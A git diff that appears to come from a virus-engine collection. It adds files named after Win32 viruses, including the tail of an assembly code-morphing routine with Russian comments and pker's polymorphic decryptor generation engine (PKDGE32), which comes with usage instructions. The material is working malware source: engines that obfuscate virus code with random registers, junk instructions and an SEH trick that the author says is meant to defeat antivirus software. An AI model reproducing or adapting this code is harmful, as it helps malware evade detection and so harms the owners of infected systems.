;::::::::::::::::::::::::
|
||||||
|
; Занесём данные в массив
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
|
||||||
|
pop eax
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Прибавим к общему размеру кода
|
||||||
|
; Длинну 00Fh XXh imm32, т.е. число 6
|
||||||
|
; где XX » [80h..8Fh]
|
||||||
|
add dwTotalCodeSize, 6
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Пропустим перенос маленького прыжка
|
||||||
|
; Переходим к следующей инструкции
|
||||||
|
jmp @_next_inst_
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Меняем...
|
||||||
|
; JMP imm8 -> JMP imm32
|
||||||
|
; Пример
|
||||||
|
; Было : 00000000: EB 33
|
||||||
|
; Стало: 00000000: E9 33 00 00 00
|
||||||
|
cmp byte ptr [esi], 0EBh
|
||||||
|
jne @F
|
||||||
|
push eax
|
||||||
|
|
||||||
|
mov al, 0E9h
|
||||||
|
stosb
|
||||||
|
xor eax, eax
|
||||||
|
stosd
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Подсчитаем адрес куда указывает прыжок
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::
|
||||||
|
; Занесём данные в массив
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
|
||||||
|
pop eax
|
||||||
|
;:::::::::::::::::::::::::::::::
|
||||||
|
; Прибавим к общему размеру кода
|
||||||
|
; Длинну E9 imm32, т.е. число 5
|
||||||
|
add dwTotalCodeSize, 5
|
||||||
|
jmp @_next_inst_
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Проверим на JMP imm32
|
||||||
|
cmp byte ptr [esi], 0E9h
|
||||||
|
jne @F
|
||||||
|
|
||||||
|
push eax
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
pop eax
|
||||||
|
jmp @_replace_instr_
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Проверим на CALL
|
||||||
|
cmp byte ptr [esi], 0E8h
|
||||||
|
jne @F
|
||||||
|
|
||||||
|
push eax
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
pop eax
|
||||||
|
jmp @_replace_instr_
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; 00Fh XX imm32
|
||||||
|
cmp byte ptr [esi], 00Fh
|
||||||
|
jne @F
|
||||||
|
cmp byte ptr [esi + 1], 080h
|
||||||
|
jl @F
|
||||||
|
cmp byte ptr [esi + 1], 08Fh
|
||||||
|
ja @F
|
||||||
|
push eax
|
||||||
|
push esi
|
||||||
|
call get_jump_address
|
||||||
|
mov [ecx].dwJumpAddress, eax
|
||||||
|
pop eax
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
@@:
|
||||||
|
|
||||||
|
@_replace_instr_:
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Переносим инструкцию в новый буффер.
|
||||||
|
; Этот код выполниться в том случае
|
||||||
|
; Если мы не меняли оригинальные инструкции
|
||||||
|
push esi
|
||||||
|
push ecx
|
||||||
|
|
||||||
|
mov ecx, eax
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
pop ecx
|
||||||
|
pop esi
|
||||||
|
|
||||||
|
; Добавим к общему размеру кода
|
||||||
|
; длинну текущей инструкции
|
||||||
|
add dwTotalCodeSize, eax
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; сюда прыгаем если мы заменили текущую инструкцию на свою
|
||||||
|
@_next_inst_:
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Разбавляем код инструкцией NOP
|
||||||
|
; Тут можно разбавлять код
|
||||||
|
; любыми "пустыми" инструкциями
|
||||||
|
; вида:
|
||||||
|
;--------------
|
||||||
|
; push eax
|
||||||
|
; pop eax
|
||||||
|
;--------------
|
||||||
|
; mov eax, eax
|
||||||
|
;--------------
|
||||||
|
; и т.д.
|
||||||
|
push eax
|
||||||
|
mov al, 90h
|
||||||
|
stosb
|
||||||
|
pop eax
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Увеличим общий размер кода на 1 (Длинна инструкции NOP)
|
||||||
|
; Так же если будете добавлять свой "пустой" код
|
||||||
|
; Нужно будет прибавить к dwTotalCodeSize его общую длинну(!)
|
||||||
|
add dwTotalCodeSize, 1
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Перейдём к следующей инструкции
|
||||||
|
add esi, eax
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; перейдём к следующему элементу
|
||||||
|
; в нашей таблице с описаниями опкодов
|
||||||
|
add ecx, sizeof _OPCODE
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Заносим новый адрес у следующей инструкции
|
||||||
|
mov [ecx].dwNewAddress, edi
|
||||||
|
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Доходим до int 3
|
||||||
|
; Это значит что код закончился....
|
||||||
|
; и следовательно нам тут делать уже нечего.
|
||||||
|
cmp byte ptr [esi], 0CCh
|
||||||
|
jne @_loop_1
|
||||||
|
; End Loop 1
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::
|
||||||
|
; Укажем что массив с описаниями закончился
|
||||||
|
mov [ecx].dwOldAddress, 0
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Второй этап :::::::::::::::::::::::::::
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
mov ecx, pOpcodes
|
||||||
|
@_loop_2:
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Если инструкция является прыжком или вызовом
|
||||||
|
; то dwJumpAddress != 0 (!)
|
||||||
|
cmp [ecx].dwJumpAddress, 0
|
||||||
|
je @F
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Получим новый адрес адрес куда должен
|
||||||
|
; указывать прыжок или вызов
|
||||||
|
push pOpcodes
|
||||||
|
push [ecx].dwJumpAddress
|
||||||
|
call get_new_jump_address
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Проверим результат на нуль.
|
||||||
|
; По идее тут проверки быть не должно
|
||||||
|
; ибо EAX (если весь код по адресу dwCodeAddress был корректным)
|
||||||
|
; никогда не будет равняться нулю
|
||||||
|
; и эти 2 строчки лишние, но мне захотелось
|
||||||
|
; всётаки их написать :)))
|
||||||
|
cmp eax, 0
|
||||||
|
je @F
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::
|
||||||
|
; Проверим адрес какой инструкции
|
||||||
|
; нужно поменять на новый
|
||||||
|
mov edx, [ecx].dwNewAddress
|
||||||
|
;:::::::::::::::::::::::::
|
||||||
|
; Длинные условные прыжки
|
||||||
|
; 00Fh XXh imm32
|
||||||
|
cmp byte ptr [edx], 00Fh
|
||||||
|
je @_0F_XX_imm32
|
||||||
|
;:::::::::::::::::::::::::::
|
||||||
|
; Длинный безусловный прыжок
|
||||||
|
; JMP imm32
|
||||||
|
cmp byte ptr [edx], 0E9h
|
||||||
|
je @_XXX_imm32_
|
||||||
|
;::::::::::::::::::::::
|
||||||
|
; Вызов (CALL imm32)
|
||||||
|
cmp byte ptr [edx], 0E8h
|
||||||
|
je @_XXX_imm32_
|
||||||
|
;::::::::::::::::::::::
|
||||||
|
jmp @F
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::
|
||||||
|
; 00Fh XXh imm32
|
||||||
|
; Нам нужно заменить есстественно imm32
|
||||||
|
; что находится по смещению [АДРЕС ПРЫЖКА + 2]
|
||||||
|
; Пример:
|
||||||
|
; 00Fh 84 imm32 ; JE imm32
|
||||||
|
; 00Fh 85 imm32 ; JNE imm32
|
||||||
|
@_0F_XX_imm32:
|
||||||
|
cmp eax, [ecx].dwNewAddress
|
||||||
|
jle @_less_or_equal_1
|
||||||
|
push eax
|
||||||
|
sub eax, [ecx].dwNewAddress
|
||||||
|
sub eax, 6
|
||||||
|
mov edx, [ecx].dwNewAddress
|
||||||
|
mov dword ptr [edx + 2], eax
|
||||||
|
pop eax
|
||||||
|
jmp @F
|
||||||
|
|
||||||
|
@_less_or_equal_1:
|
||||||
|
push eax
|
||||||
|
mov edx, [ecx].dwNewAddress
|
||||||
|
sub edx, eax
|
||||||
|
neg edx
|
||||||
|
sub edx, 6
|
||||||
|
mov eax, [ecx].dwNewAddress
|
||||||
|
mov dword ptr [eax + 2], edx
|
||||||
|
pop eax
|
||||||
|
jmp @F
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Смещение imm32 в инструкциях JMP и CALL
|
||||||
|
; одно и тоже, следовательно код обработки
|
||||||
|
; нового адреса у них можно сделать одним
|
||||||
|
; imm32 находится по смещению [АДРЕС ПРЫЖКА + 1]
|
||||||
|
; Пример:
|
||||||
|
; E9 imm32
|
||||||
|
; E8 imm32
|
||||||
|
; :)
|
||||||
|
@_XXX_imm32_:
|
||||||
|
cmp eax, [ecx].dwNewAddress
|
||||||
|
jle @_less_or_equal_2
|
||||||
|
push eax
|
||||||
|
sub eax, [ecx].dwNewAddress
|
||||||
|
sub eax, 5
|
||||||
|
mov edx, [ecx].dwNewAddress
|
||||||
|
mov dword ptr [edx + 1], eax
|
||||||
|
pop eax
|
||||||
|
jmp @F
|
||||||
|
|
||||||
|
@_less_or_equal_2:
|
||||||
|
push eax
|
||||||
|
mov edx, [ecx].dwNewAddress
|
||||||
|
sub edx, eax
|
||||||
|
neg edx
|
||||||
|
sub edx, 5
|
||||||
|
mov eax, [ecx].dwNewAddress
|
||||||
|
mov dword ptr [eax + 1], edx
|
||||||
|
pop eax
|
||||||
|
jmp @F
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
|
||||||
|
|
||||||
|
@@:
|
||||||
|
;::::::::::::::::::::::::::::::
|
||||||
|
; Перейдём к следующем описанию
|
||||||
|
; Следующего опкода :)
|
||||||
|
add ecx, sizeof _OPCODE
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::
|
||||||
|
; Повторяем до тех пор пока
|
||||||
|
; не наткнёмся на конец массива
|
||||||
|
; На это указывает Нуль в dwOldAddress
|
||||||
|
cmp [ecx].dwOldAddress, 0
|
||||||
|
jne @_loop_2
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Освободим память что занимали
|
||||||
|
invoke VirtualFree, pOpcodes, NULL, MEM_RELEASE
|
||||||
|
|
||||||
|
@_exit_:
|
||||||
|
|
||||||
|
mov eax, dwTotalCodeSize
|
||||||
|
ret
|
||||||
|
MorphCode endp
|
||||||
|
|
||||||
|
.data
|
||||||
|
; Буфер куда занесём проморфленный код
|
||||||
|
dwOutputBuffer dd 0
|
||||||
|
|
||||||
|
; Размер буфера
|
||||||
|
dwOutputBufferSize dd 0
|
||||||
|
|
||||||
|
; Кол-во байт записанных в фаил
|
||||||
|
dwBytesWritten dd 0
|
||||||
|
|
||||||
|
; Имя файлика в который запишем проморфленный код
|
||||||
|
szFileName db 'morphed_code_dump_raw.bin',0
|
||||||
|
|
||||||
|
; Текст для MessageBoxA
|
||||||
|
szComplete db 'Complete! :)', 0
|
||||||
|
.code
|
||||||
|
|
||||||
|
start:
|
||||||
|
|
||||||
|
;:::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||||
|
; Зарезервируем память для проморфленного кода
|
||||||
|
; Размер можете выставить конечноже свой
|
||||||
|
; Всё зависит от кол-ва кода что собираетесь Морфить
|
||||||
|
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
|
||||||
|
mov dwOutputBuffer, eax
|
||||||
|
|
||||||
|
;::::::::::::::::
|
||||||
|
; Морфим код.....
|
||||||
|
invoke MorphCode, offset test_code, dwOutputBuffer
|
||||||
|
mov dwOutputBufferSize, eax
|
||||||
|
|
||||||
|
;::::::::::::::::::::::::::::::::
|
||||||
|
; Дампим проморфленный код в фаил
|
||||||
|
invoke CreateFile, offset szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
|
||||||
|
push eax
|
||||||
|
invoke WriteFile, eax, dwOutputBuffer, dwOutputBufferSize, addr dwBytesWritten, NULL
|
||||||
|
call CloseHandle
|
||||||
|
|
||||||
|
;:::::::::::::::::
|
||||||
|
; Освободим память
|
||||||
|
invoke VirtualFree, dwOutputBuffer, NULL, MEM_RELEASE
|
||||||
|
|
||||||
|
;:::::::::::::::::
|
||||||
|
; Мессадж :)
|
||||||
|
invoke MessageBoxA, 0, offset szComplete, 0, MB_ICONINFORMATION
|
||||||
|
|
||||||
|
;:::::::::::::::::
|
||||||
|
; Выход)
|
||||||
|
xor eax, eax
|
||||||
|
ret
|
||||||
|
end start
|
||||||
|
|
||||||
|
; #########################################################################
|
1171
Engines/Virus.Win32.NBKPE.txt
Normal file
1171
Engines/Virus.Win32.NBKPE.txt
Normal file
File diff suppressed because it is too large
Load Diff
1922
Engines/Virus.Win32.Nazka.528
Normal file
1922
Engines/Virus.Win32.Nazka.528
Normal file
File diff suppressed because it is too large
Load Diff
928
Engines/Virus.Win32.Pker.inc
Normal file
928
Engines/Virus.Win32.Pker.inc
Normal file
@ -0,0 +1,928 @@
|
|||||||
|
;
|
||||||
|
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
|
||||||
|
; ======================================================
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Description
|
||||||
|
; -----------
|
||||||
|
;
|
||||||
|
; I wanted to code a polymorphic engine when I first started coding this. Then
|
||||||
|
; I got the idea of generating decrypt code dynamically instead of morphing the
|
||||||
|
; original decrypt code. The generated decryptor uses random registerz, with
|
||||||
|
; junk code inserted, and it's instruction-permutable. When coding, I found
|
||||||
|
; that the name 'decrypt generation engine' is more appropriate than a poly-
|
||||||
|
; morphic engine, so I renamed it to PKDBE32.
|
||||||
|
;
|
||||||
|
; Generally, the decrypt code looks like the following:
|
||||||
|
;
|
||||||
|
; mov Rw,offset code2decrypt ; (1)
|
||||||
|
; mov Rz,decrypt_size ; (2)
|
||||||
|
; decrypt_loop: xor byte [Rw],imm8 ; (3)
|
||||||
|
; inc Rw ; (4)
|
||||||
|
; dec Rz ; (5)
|
||||||
|
; jnz decrypt_loop ; (6)
|
||||||
|
;
|
||||||
|
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
|
||||||
|
; this means the we can use random registerz in the decrypt code. The engine
|
||||||
|
; can select random registerz to generate each instruction. Meanwhile, the
|
||||||
|
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
|
||||||
|
; tionz in a random order. Also, we know that some of the instructionz can be
|
||||||
|
; replaced by other instructionz that performed the same. For example, we can
|
||||||
|
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
|
||||||
|
; will insert junk codez after each instructionz.
|
||||||
|
;
|
||||||
|
; One more thing, the engine setup a SEH frame before the decrypt code in order
|
||||||
|
; to fuck some AVsoftz. And of course, there're also junk codez between these
|
||||||
|
; instructionz.
|
||||||
|
;
|
||||||
|
; The SEH frame's like the following code:
|
||||||
|
;
|
||||||
|
; start: call setup_seh ; (1)
|
||||||
|
; mov esp,[esp+8] ; (2)
|
||||||
|
; jmp end_seh ; (3)
|
||||||
|
; setup_seh: xor Rx,Rx ; (4)
|
||||||
|
; push dword [fs:Rx] ; (5)
|
||||||
|
; mov [fs:Rx],esp ; (6)
|
||||||
|
; dec dword [Rx] ; (7)
|
||||||
|
; jmp start ; (8)
|
||||||
|
; end_seh: xor Ry,Ry ; (9)
|
||||||
|
; pop dword [fs:Ry] ; (10)
|
||||||
|
; pop Rz ; (11)
|
||||||
|
;
|
||||||
|
; Then comes the real decrypt code (generated by this engine).
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; How to use it?
|
||||||
|
; --------------
|
||||||
|
;
|
||||||
|
; This engine can compile with FASM, TASM and MASM, etc.
|
||||||
|
;
|
||||||
|
; When using FASM we can:
|
||||||
|
;
|
||||||
|
; decryptor: times 40h db 90h
|
||||||
|
; crypt_code: ...
|
||||||
|
; crypted_size = $-crypt_code
|
||||||
|
; rng_seed dd ?
|
||||||
|
;
|
||||||
|
; gen_decrytpor: mov edi,decryptor
|
||||||
|
; mov esi,rng_seed
|
||||||
|
; mov ebx,crypt_code
|
||||||
|
; mov ecx,crypted_size
|
||||||
|
; mov edx,9ah
|
||||||
|
; call __pkdge32
|
||||||
|
;
|
||||||
|
; When using TASM or MASM we should:
|
||||||
|
;
|
||||||
|
; decryptor db 40h dup (90h)
|
||||||
|
; crypt_code: ...
|
||||||
|
; crypted_size = $-crypt_code
|
||||||
|
; rng_seed dd ?
|
||||||
|
;
|
||||||
|
; gen_decrytpor: mov edi,offset decryptor
|
||||||
|
; mov esi,offset rng_seed
|
||||||
|
; mov ebx,offset crypt_code
|
||||||
|
; mov ecx,crypted_size
|
||||||
|
; mov edx,9ah
|
||||||
|
; call __pkdge32
|
||||||
|
;
|
||||||
|
; One more feature, the engine returns the address of the code2decrypt field in
|
||||||
|
; the decryptor, so we can fix this value after generating the decryptor. This
|
||||||
|
; means we can replace the code which to be decrypt anywhere after generating
|
||||||
|
; the decrypt code. We can replace our code which to be decrypted just after
|
||||||
|
; the decryptor, without padding so many NOPz between them :P
|
||||||
|
;
|
||||||
|
; We could code like this:
|
||||||
|
;
|
||||||
|
; col_code: times crypted_size+200h db 0
|
||||||
|
;
|
||||||
|
; gen_decrytpor: mov edi,col_code
|
||||||
|
; mov esi,rng_seed
|
||||||
|
; mov ecx,crypted_size
|
||||||
|
; mov ebx,12345678h
|
||||||
|
; mov edx,12345678h
|
||||||
|
; call __pkdge32
|
||||||
|
; fix_address: mov esi,edi
|
||||||
|
; xchg eax,edi
|
||||||
|
; stosd
|
||||||
|
; xchg esi,edi
|
||||||
|
; copy_code: mov esi,crypt_code
|
||||||
|
; mov ecx,crypted_size
|
||||||
|
; rep movsb
|
||||||
|
;
|
||||||
|
; Well, enjoy it!
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Copyright
|
||||||
|
; ---------
|
||||||
|
;
|
||||||
|
; (c) 2004. No rightz reserved. Use without permission :P.
|
||||||
|
;
|
||||||
|
|
||||||
|
|
||||||
|
;
|
||||||
|
; __pkdge32 procedure
|
||||||
|
; ===================
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Description
|
||||||
|
; -----------
|
||||||
|
;
|
||||||
|
; This is the main procedure of the engine. It controlz the whole generation
|
||||||
|
; process, including SEH setup, instruction generation, junk code insertion,
|
||||||
|
; etc.
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Parameterz and Return Value
|
||||||
|
; ---------------------------
|
||||||
|
;
|
||||||
|
; Input:
|
||||||
|
; ecx --- decrypt buffer size (counter in bytez)
|
||||||
|
; edx --- decrypt key
|
||||||
|
; edi --- pointz to the buffer to save decryptor
|
||||||
|
; ebx --- pointz to the buffer where saved the encrypted code
|
||||||
|
; esi --- pointz to the RNG seed buffer
|
||||||
|
;
|
||||||
|
; Output:
|
||||||
|
; edi --- the end of the decryptor
|
||||||
|
; eax --- pointz to the address of the code which will be decrypted in
|
||||||
|
; the decryptor, this means we can place the code which will be
|
||||||
|
; decrypted anywhere by fixing the value pointed by EAX
|
||||||
|
;
|
||||||
|
|
||||||
|
__pkdge32: pushad
|
||||||
|
xor ebp,ebp
|
||||||
|
xchg esi,edi ; initialize the RNG seed
|
||||||
|
call __randomize ; ...
|
||||||
|
xchg esi,edi ; ...
|
||||||
|
|
||||||
|
;
|
||||||
|
; First, we select four random registerz for later use. These four registerz
|
||||||
|
; are all different
|
||||||
|
;
|
||||||
|
|
||||||
|
xor ebx,ebx ; used to save Rw, Rz, Rx, Ry
|
||||||
|
call pkdg_sel_reg
|
||||||
|
or bl,al
|
||||||
|
call pkdg_sel_reg
|
||||||
|
shl ebx,4
|
||||||
|
or bl,al
|
||||||
|
call pkdg_sel_reg
|
||||||
|
shl ebx,4
|
||||||
|
or bl,al
|
||||||
|
call pkdg_sel_reg
|
||||||
|
shl ebx,4
|
||||||
|
or bl,al
|
||||||
|
|
||||||
|
;
|
||||||
|
; We setup a SEH frame, then we raise an exception and run the following codez.
|
||||||
|
; This action may fuck some of the AVsoftz.
|
||||||
|
;
|
||||||
|
|
||||||
|
push edi
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov al,0e8h ; seh instruction 1
|
||||||
|
stosb ; ...
|
||||||
|
stosd ; addr 1, no matter what, fix l8r
|
||||||
|
push edi ; save addr1 to fix
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov eax,0824648bh ; seh instruction 2
|
||||||
|
stosd ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov al,0ebh ; seh instruction 3
|
||||||
|
stosb ; ...
|
||||||
|
stosb ; addr 2, no matter what, fix l8r
|
||||||
|
push edi ; save addr2 to fix
|
||||||
|
mov eax,[esp+4] ; fix addr1
|
||||||
|
xchg edi,eax ; ...
|
||||||
|
sub eax,edi ; ...
|
||||||
|
sub edi,4 ; ...
|
||||||
|
stosd ; ...
|
||||||
|
add edi,eax ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov ah,bl ; seh instruction 4
|
||||||
|
and ah,7 ; ...
|
||||||
|
or eax,0c031h ; ...
|
||||||
|
push ebx ; ...
|
||||||
|
and ebx,7 ; ...
|
||||||
|
shl ebx,11 ; ...
|
||||||
|
or eax,ebx ; ...
|
||||||
|
pop ebx ; ...
|
||||||
|
stosw ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov eax,0ff64h ; seh instruction 5
|
||||||
|
stosw ; ...
|
||||||
|
mov al,bl ; ...
|
||||||
|
and eax,7 ; ...
|
||||||
|
or al,30h ; ...
|
||||||
|
stosb ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov eax,8964h ; seh instruction 6
|
||||||
|
stosw ; ...
|
||||||
|
mov al,bl ; ...
|
||||||
|
and eax,7 ; ...
|
||||||
|
or al,20h ; ...
|
||||||
|
stosb ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov ah,bl ; seh instruction 7
|
||||||
|
and eax,700h ; ...
|
||||||
|
or eax,08ffh ; ...
|
||||||
|
stosw ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov al,0ebh ; seh instruction 8
|
||||||
|
stosb ; ...
|
||||||
|
mov eax,[esp+8] ; ...
|
||||||
|
sub eax,edi ; ...
|
||||||
|
dec eax ; ...
|
||||||
|
stosb ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
pop eax ; fix addr2
|
||||||
|
xchg eax,edi ; ...
|
||||||
|
sub eax,edi ; ...
|
||||||
|
dec edi ; ...
|
||||||
|
stosb ; ...
|
||||||
|
add edi,eax ; ...
|
||||||
|
mov ah,bh ; seh instruction 9
|
||||||
|
and eax,700h ; ...
|
||||||
|
or eax,0c031h ; ...
|
||||||
|
push ebx ; ...
|
||||||
|
and ebx,700h ; ...
|
||||||
|
shl ebx,3 ; ...
|
||||||
|
or eax,ebx ; ...
|
||||||
|
pop ebx ; ...
|
||||||
|
stosw ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov eax,8f64h ; seh instruction 10
|
||||||
|
stosw ; ...
|
||||||
|
mov al,bh ; ...
|
||||||
|
and eax,7 ; ...
|
||||||
|
stosb ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
mov al,bh ; seh instruction 11
|
||||||
|
and al,7 ; ...
|
||||||
|
or al,58h ; ...
|
||||||
|
stosb ; ...
|
||||||
|
xor eax,eax ; some junk code
|
||||||
|
call __pkdge32_junk ; ...
|
||||||
|
add esp,8 ; balance the stack
|
||||||
|
|
||||||
|
;
|
||||||
|
; Now, generate the first two instructionz with junk codez between them, and
|
||||||
|
; permute the two instructionz in a random order.
|
||||||
|
;
|
||||||
|
|
||||||
|
mov ecx,2
|
||||||
|
call __random_rdtsc
|
||||||
|
or ecx,ecx
|
||||||
|
jz pkdg_gen_12
|
||||||
|
call pkdg_gen_1
|
||||||
|
call pkdg_gen_2
|
||||||
|
jmp pkdg_gen_f2f
|
||||||
|
pkdg_gen_12: call pkdg_gen_2
|
||||||
|
call pkdg_gen_1
|
||||||
|
|
||||||
|
;
|
||||||
|
; The last step, we generate the last four instructionz with junk codez in them
|
||||||
|
; these four instructionz must in the same order, but the registerz they use
|
||||||
|
; are still random
|
||||||
|
;
|
||||||
|
|
||||||
|
pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI
|
||||||
|
push edi ; save loop address
|
||||||
|
|
||||||
|
push esi
|
||||||
|
mov eax,ebx ; xor byte [Rw],Imm8
|
||||||
|
shr eax,12 ; ...
|
||||||
|
and al,7 ; ...
|
||||||
|
mov esi,[esp+28] ; ...
|
||||||
|
call __pkdge32_gen_xor_reg_imm
|
||||||
|
pop esi
|
||||||
|
xor eax,eax
|
||||||
|
call __pkdge32_junk
|
||||||
|
|
||||||
|
mov eax,ebx ; inc Rw
|
||||||
|
shr eax,12 ; ...
|
||||||
|
and eax,7 ; ...
|
||||||
|
or al,40h
|
||||||
|
stosb
|
||||||
|
xor eax,eax
|
||||||
|
call __pkdge32_junk
|
||||||
|
|
||||||
|
mov eax,ebx ; dec Rz
|
||||||
|
shr eax,4 ; ...
|
||||||
|
and eax,7 ; ...
|
||||||
|
or al,48h ; ...
|
||||||
|
stosb ; ...
|
||||||
|
|
||||||
|
pop eax ; jnz decrypt_loop
|
||||||
|
sub eax,edi ; get delta
|
||||||
|
dec eax ; ...
|
||||||
|
dec eax ; ...
|
||||||
|
push eax
|
||||||
|
mov al,75h ; write opcode
|
||||||
|
stosb ; ...
|
||||||
|
pop eax
|
||||||
|
stosb ; write operand
|
||||||
|
xor eax,eax
|
||||||
|
call __pkdge32_junk
|
||||||
|
|
||||||
|
mov [esp],edi ; save new EDI
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt
|
||||||
|
mov eax,ebx ; get Rw
|
||||||
|
shr eax,12 ; ...
|
||||||
|
call pkdge32_gen12
|
||||||
|
mov [esp+32],eax ; save offset of code2decrypt
|
||||||
|
ret
|
||||||
|
pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size
|
||||||
|
mov eax,ebx ; get Rz
|
||||||
|
shr eax,4 ; ...
|
||||||
|
and eax,0fh ; ...
|
||||||
|
call pkdge32_gen12
|
||||||
|
ret
|
||||||
|
|
||||||
|
;
|
||||||
|
; Using this function to generate the first two instructionz of the decryptor,
|
||||||
|
; which are permutable
|
||||||
|
;
|
||||||
|
|
||||||
|
pkdge32_gen12: push ecx
|
||||||
|
push eax ; save mask
|
||||||
|
mov ecx,2 ; determine using MOV REG/IMM
|
||||||
|
call __random_rdtsc ; or PUSH IMM/POP REG
|
||||||
|
or eax,eax
|
||||||
|
pop eax ; restore mask
|
||||||
|
pop ecx
|
||||||
|
jz pkdg_g123_0
|
||||||
|
call __pkdge32_gen_mov_reg_imm
|
||||||
|
push edi
|
||||||
|
xor eax,eax
|
||||||
|
mov esi,[esp+16]
|
||||||
|
call __pkdge32_junk
|
||||||
|
pop eax
|
||||||
|
sub eax,4
|
||||||
|
ret
|
||||||
|
pkdg_g123_0: call __pkdge32_gen_pushimm_popreg
|
||||||
|
push eax
|
||||||
|
xor eax,eax
|
||||||
|
mov esi,[esp+16]
|
||||||
|
call __pkdge32_junk
|
||||||
|
pop eax
|
||||||
|
sub eax,4
|
||||||
|
ret
|
||||||
|
|
||||||
|
;
|
||||||
|
; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will
|
||||||
|
; make EBX to the following structure:
|
||||||
|
;
|
||||||
|
; 31 15 0
|
||||||
|
; +-----+-----+-----+-----+------+------+------+------+
|
||||||
|
; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx |
|
||||||
|
; +-----+-----+-----+-----+------+------+------+------+
|
||||||
|
;
|
||||||
|
|
||||||
|
